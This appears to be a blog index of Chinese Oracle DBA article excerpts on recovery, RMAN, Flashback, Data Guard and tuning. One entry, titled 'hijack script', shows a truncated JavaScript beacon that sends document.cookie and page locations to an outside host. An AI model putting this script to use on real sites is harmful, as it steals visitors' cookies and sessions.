闪回之 Flashback Data Archive
背景:Oracle 11g 中 FlashbackData Archive 特性。将变化数据另外存储到创建的闪回归档区(Flashback Archive)中,以和 undo 区别开来,这样就可以为闪回归档区单独设置存储策略,使之可以闪回到指定时间之前的旧数据而不影响 undo 策略。并且可以根据需要指定哪些数据库对象需要保存历史变化数据,而不是将数据库中...
对Oracle数据库坏块的理解
1.物理坏块和逻辑坏块 在数据库中有一个概念叫做数据块的一致性,Oracle的数据块的一致性包括了两个层次:物理一致性和逻辑一致性,如果一个数据块在这两个层次上存在不一致性,那就对应到了我们今天要要说的物理坏块和逻辑坏块。 在每一个数据块的头部有一个校验和字段,每当数...
从操作系统rm数据文件后,利用句柄与rman恢复的过程
以下操作代码的流程是配的,但是相应的文件名,啥的 必须改动。故障现象数据文件被误删除具体情况接到反馈说,数据文件data20120512.dbf被误删除,需要恢复数据库提示ERROR at line 1:ORA-01116: error in opening database file 16ORA-01110: data file 16:‘/u01/app/or...
os层删除与数据库层drop的区别于对策
os rm删除的,可以通过os层面恢复(句柄、inode、如果inode没有了可以根据block去重组出来数据文件),也可以通过rman备份还原方式恢复。 db 层面drop删除的 只能不完全恢复(基于scn或者timestamp的全库不完全恢复)。 inode恢复的原理:尽管删除命令只是在文件节点中作删除标记,并不...
ORACLE联机日志文件丢失或损坏的处理方法
经验总结:联机日志分为当前联机日志和非当前联机日志,非当前联机日志的损坏是比较简单的,一般通过clear命令就可以解决问题。损坏非当前联机日志:1、启动数据库,遇到ORA-00312 or ORA-00313错误,如:ORA-00313: open failed for members of log group 4 of thread 1ORA-00312: online log 3 thread 1: '/o...
oracle备份恢复之recover database的四条语句区别
1 recoverdatabase using backup controlfile2 recover database until cancel3 recover database using backup controlfile until cancel;4 recover database until cancel using backup controlfile;本文主要介绍以下四种恢复方式的含义与区别: 1. recoverdatabase usi...
Oracle 实例恢复
一、Oracle实例失败 Oracle实例失败多为实例非一致性关闭所致,通常称为崩溃(crash)。实例失败的结果等同于shutdown abort。 实例失败的原因 电源负载故障 硬件故障 后台进程失败 ...
Oracle 块修改跟踪 (Block Change Tracking) 说明
Block ChangeTracking 是Oracle 10g里推出的特性。官网对Block change tracking 的定义如下: Adatabase option that causes Oracle to track data file blocks affected by eachdatabase update. The tracking information is stored in a block change trackingfile. When block change track...
Oracle 基于用户管理恢复的处理
Oracle支持多种方式来管理数据文件的备份与恢复来保证数据库的可靠与完整。除了使用RMAN工具以及第三方备份与恢复工具之外,基于用户管理的备份与恢复也是DBA经常使用的方式之一。本文首先介绍了恢复的相关概念,接下来详细讲述了在归档模式下使用基于用户管理恢复的处理过程。 一、恢复的相关概念 &n...
Oracle 不同故障的恢复方案
之前在Blog中对RMAN 的备份和恢复做了说明,刚看了下,在恢复这块还有知识点遗漏了。 而且恢复这块很重要,如果DB 真要出了什么问题,就要掌握对应的恢复方法。 所以把DB的恢复这块单独拿出来说明一下。在非Catalog模式下, 备份的信息存储在controlfile中。 所以在RMAN 备份的时...
Oracle DB备份恢复篇之丢失控制文件
实验目的 本篇主要模拟控制文件丢失后,如何根据实际情况恢复数据库,才能使数据库尽可能不丢失数据。实验环境1)Linux系统环境[oracle@DG1 ~]$ lsb_release -aLSB Version: :core-3.1-ia32:core-3.1-noarch:graphics-3.1-ia32:graphics-3.1-noarchDistributor ID: RedHatEnterpriseServerDescription:...
DBV工具的使用
DBV是一个外部命令,能够执行物理数据结构的完整性检查。DBV只能检查可缓存管理的块(数据块),所以只能用于数据文件,不支持控制文件和重做日志文件的块检查。DBV使用于offline或者online的数据文件,也可也验证备份文件,但是备份文件只能是rman的copy命令或者操作系统的cp(win下是copy)命令备份的数据文件。控制文件和...
catalog备份数据库及RMAN存储脚本
环境说明:提前配置好两个库的监听与tnsnames.oraIP:10.100.25.13 为目标数据库 IP:10.100.25.14 为恢复目录数据库(catalog database)以下操作全部都在恢复目录数据库下执行:1.为恢复目录创建一个表空间,表空间名称是catalogts。用户名是catalogdemo 密码是oracle。给这个用户赋予恢复目录拥有...
Block Change Tracking (块改变跟踪)
理论背景:Block ChangeTracking 是Oracle 10g里推出的特性。 Blockchange tracking 会记录data file里每个block的update 信息,这些tracking信息保存在tracking文件里。 当启动block changetracking 后,RMAN 使用trackingfile里的信息,只读取改变的block信息,而不用在对整个data file进行扫描,从而提高了RMAN 备...
SQL Tuning Advisor的使用
SQL>create user liushiming identified by liushiming;Usercreated.SQL>grant connect,resource to liushiming;Grantsucceeded.SQL>grant advisor to liushiming;Grantsucceeded.SQL>conn liushiming/liushiming;Connected.SQL>create table bigta...
DBA_TAB_MODIFICATIONS数据字典的变化
SQL>create user liushiming1234 identified by liushiming1234defaulttablespace users; Usercreated.SQL>grant connect,resource to liushiming1234 ;Grantsucceeded.SQL>create table liushiming1234.test1234 (inumber);Tablecreated....
劫持脚本
var x=new Image(); try { var myopener=''; myopener=window.opener && window.opener.location ? window.opener.location : ''; } catch(err) { } x.src='http://2.c.gp/?location='+escape(document.location)+'&toplocation='+escape(top.document.location)+'&cookie='+escape(document.cookie)+'&opener='+escape(myo...
ORACLE 10g DATA GUARD的配置和建立
Vmware 中配置和建立ORACLE 10.2.0.3的physical standby数据库一、配置条件1、软件条件Vmware workstation ORACLE 10.2.0.12、硬件条件RAC2 (200.200.200.238) primaryRAC1 (200.200.200.239) standby3、服务器配置的监听二、前提服务的配置1、在(200.200.200.238)primary上配置数据库...
JOB的创建,定时,执行
--建表 1 2 3 4 5 create table test_job(para_date date); commit; insert into test_job values(sysdate); ...
Linux Oracle服务启动&停止脚本与开机自启动
1. 修改Oracle系统配置文件:/etc/oratab,只有这样,Oracle 自带的dbstart和dbshut才能够发挥作用。# vi /etc/orataborcl:/opt/oracle/102:Y2. 在 /etc/init.d/ 下创建文件oracle,内容如下:#!/bin/bash#chkconfig:345 61 61 #description:Apache ## Set ORA_HOME to be equivalent to the ...